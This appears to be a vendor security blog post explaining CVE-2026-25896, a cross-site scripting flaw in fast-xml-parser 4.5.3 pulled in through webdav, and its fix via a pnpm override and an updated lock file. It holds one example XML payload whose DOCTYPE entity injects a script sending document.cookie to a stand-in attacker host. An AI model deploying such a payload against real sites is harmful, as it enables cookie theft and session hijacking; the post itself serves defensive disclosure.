Back to Blog
critical SEVERITY8 min read

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser versions prior to 4.5.4 and 5.3.5, caused by improper handling of DOCTYPE entity declarations during XML parsing. The fix upgrades the dependency and applies a pnpm override to ensure no transitive dependency can pull in the vulnerable version. This vulnerability was detected by Trivy in the project's `pnpm-lock.yaml` and patched via an automated pull request.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the `fast-xml-parser` npm package, affecting versions below 4.5.4 and 5.3.5. The flaw stems from improper handling of DOCTYPE entity declarations, which allows maliciously crafted XML input to inject executable scripts into downstream output. The fix involves upgrading `fast-xml-parser` to 4.5.4 (or 5.3.5) and adding a `pnpm.overrides` entry in `package.json` to force all transitive dependencies to use the patched version, preventing the vulnerable code from being resolved anywhere in the dependency tree.

Vulnerability at a Glance

cweCWE-79
fixUpgrade fast-xml-parser to 4.5.4 / 5.3.5 and pin the version with a pnpm override to prevent vulnerable transitive resolutions
riskAttackers can inject and execute arbitrary scripts in users' browsers by supplying crafted XML with malicious DOCTYPE entities
languageJavaScript / TypeScript (Node.js)
root causefast-xml-parser 4.5.3 fails to sanitize or reject dangerous entity expansions declared in DOCTYPE blocks before passing parsed content downstream
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity handling

How Cross-Site Scripting Happens in fast-xml-parser and How to Fix It


Vulnerability at a Glance

Field Detail
CVE CVE-2026-25896
Severity Critical
Package fast-xml-parser < 4.5.4 / < 5.3.5
CWE CWE-79: Cross-Site Scripting
Detected in pnpm-lock.yaml
Fixed by Upgrade + pnpm override

Introduction

The pnpm-lock.yaml file in this project recorded a resolved version of fast-xml-parser@4.5.3 — a transitive dependency pulled in by another package in the tree. That single locked version contained a critical flaw: when the parser encountered a DOCTYPE block with custom entity declarations in untrusted XML input, it failed to neutralize those entities before producing output. The result is a Cross-Site Scripting (XSS) vulnerability that could allow an attacker to inject executable JavaScript into any surface that renders or forwards the parsed content.

The vulnerability was assigned CVE-2026-25896 and rated Critical. Trivy's scanner flagged the package hash recorded in the lock file:

# Vulnerable — pnpm-lock.yaml (before fix)
fast-xml-parser@4.5.3:
  resolution: {integrity: sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==}
  hasBin: true

That integrity hash uniquely identifies the vulnerable build. Once it appears in a lock file, every developer and CI runner that installs dependencies will receive the vulnerable code.


The Vulnerability Explained

DOCTYPE Entities and Why They Are Dangerous

XML's DOCTYPE declaration allows a document to define its own internal entities — shorthand substitutions that the parser expands before handing the document tree to the application. A well-known class of attacks, XML Entity Expansion (related to XXE), abuses this feature. CVE-2026-25896 is a variant in which fast-xml-parser 4.5.3 does not properly sanitize entity values declared in a DOCTYPE before those values flow into the parsed output.

Consider a crafted XML payload like this:

<!DOCTYPE foo [
  <!ENTITY xss "<script>document.location='https://attacker.example/steal?c='+document.cookie</script>">
]>
<root>&xss;</root>

When fast-xml-parser 4.5.3 processes this document, the entity &xss; is expanded and the raw <script> string survives into the parsed value of <root>. If the application then:

  • Renders that value in a web page without additional escaping, or
  • Forwards the parsed string to another system that trusts it

…the attacker's script executes in a victim's browser.

Why Transitive Dependencies Are the Hidden Risk

The vulnerable version was not a direct dependency of this project. It was pulled in transitively — specifically through the webdav package (visible in the lock file snapshot), which declared fast-xml-parser: 4.5.3 as one of its own dependencies:

# pnpm-lock.yaml snapshot (before fix)
snapshots:
  ...
  webdav@...:
    dependencies:
      ...
      fast-xml-parser: 4.5.3   # ← transitive vulnerable version

This is a common blind spot. Teams audit their direct dependencies carefully but may not realize a third-party package deep in the tree is quietly introducing a critical vulnerability.

Real-World Attack Scenario

Imagine this application parses XML documents fetched from external sources or submitted by users — a calendar feed, a configuration file upload, or a WebDAV resource. An attacker who controls that XML source crafts a payload with a malicious DOCTYPE entity. The server parses it with fast-xml-parser, the expanded entity value containing <script>...</script> is stored or returned in an API response, and a front-end component renders it unsanitized. The attacker now has arbitrary JavaScript execution in the victim's browser session — enabling session hijacking, credential theft, or malicious redirects.


The Fix

The fix involved two coordinated changes: upgrading the resolved package version and locking the entire dependency tree against the old version using a pnpm override.

1. Pinning the Version with a pnpm Override (package.json)

Simply updating a transitive dependency is not enough on its own — pnpm might still resolve the old version for some packages unless explicitly instructed otherwise. The fix adds a pnpm.overrides block to package.json:

// package.json — AFTER fix
"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4"
  }
}

This directive tells pnpm: regardless of what any package in the dependency tree requests, always resolve fast-xml-parser to 4.5.4. It is the pnpm equivalent of npm's overrides or Yarn's resolutions field, and it is the only reliable way to force a patched version across the entire tree.

2. Updating the Lock File (pnpm-lock.yaml)

With the override in place, the lock file was regenerated. The integrity hash for fast-xml-parser changed from the vulnerable build to the patched one:

# pnpm-lock.yaml — BEFORE
fast-xml-parser@4.5.3:
  resolution: {integrity: sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==}
  hasBin: true
# pnpm-lock.yaml — AFTER
fast-xml-parser@4.5.4:
  resolution: {integrity: sha512-jE8ugADnYOBsu1uaoayVl1tVKAMNOXyjwvv2U6udEA2ORBhDooJDWoGxTkhd4Qn4yh59JVVt/pKXtjPwx9OguQ==}
  hasBin: true

The override entry is also recorded at the top of the lock file to make the constraint explicit and auditable:

# pnpm-lock.yaml — AFTER (top of file)
overrides:
  fast-xml-parser: 4.5.4

Every snapshot that previously referenced fast-xml-parser: 4.5.3 — including the webdav package snapshot — now points to 4.5.4:

# Before
webdav@...:
  dependencies:
    fast-xml-parser: 4.5.3

# After
webdav@...:
  dependencies:
    fast-xml-parser: 4.5.4

Why Both Changes Were Necessary

Change Why it matters
pnpm.overrides in package.json Instructs the package manager to resolve the patched version for all dependents, present and future
Updated pnpm-lock.yaml Records the new integrity hash so CI and all developers get the exact patched bytes, not just the version number

Without the override, a future pnpm install or a new transitive dependency could silently re-introduce 4.5.3. Without the lock file update, the old hash would still be installed despite the override.


Key Takeaways

  • fast-xml-parser@4.5.3 is vulnerable to XSS via DOCTYPE entity expansion — any application that parses untrusted XML with this version is at risk, regardless of whether it is a direct or transitive dependency.
  • A pnpm override in package.json is required to force the patched version across all transitive dependents — upgrading only the lock file entry is insufficient.
  • The webdav package's snapshot in pnpm-lock.yaml was the specific transitive path that introduced the vulnerable version, illustrating that third-party packages can silently carry critical vulnerabilities.
  • Lock file integrity hashes are your ground truth — Trivy flagged this vulnerability by matching the sha512 hash of fast-xml-parser@4.5.3 in pnpm-lock.yaml, not just the version string.
  • DOCTYPE entity handling is a persistent XML attack surface — even modern, widely-used parsers can have gaps; always pair library upgrades with application-level output encoding.

How Orbis AppSec Detected This

  • Source: Untrusted XML content containing DOCTYPE entity declarations, processed by fast-xml-parser as a transitive dependency resolved via pnpm-lock.yaml.
  • Sink: The entity expansion logic within fast-xml-parser@4.5.3, which allows raw <script> content from DOCTYPE-defined entities to survive into parsed output without neutralization.
  • Missing control: No sanitization or rejection of DOCTYPE entity values before they were included in the parser's output; no pnpm override preventing the vulnerable version from being resolved transitively.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: fast-xml-parser was upgraded to 4.5.4 and a pnpm.overrides entry was added to package.json to force the patched version across the entire dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a reminder that critical vulnerabilities don't always arrive through code you write — they can hide several layers deep in your dependency tree, locked in place by a hash in a file most developers never open. In this case, fast-xml-parser@4.5.3's failure to sanitize DOCTYPE entity values created a direct path to XSS for any application parsing untrusted XML.

The fix is precise and minimal: upgrade to 4.5.4, add a pnpm override to prevent the vulnerable version from re-entering the tree through any transitive path, and commit the updated lock file so every environment gets the patched bytes. Pair that with regular transitive dependency audits in CI and application-level output encoding, and this class of vulnerability becomes much harder to exploit.

Security is a layered discipline — patched dependencies, encoded output, and automated scanning working together are what keep users safe.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #964

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.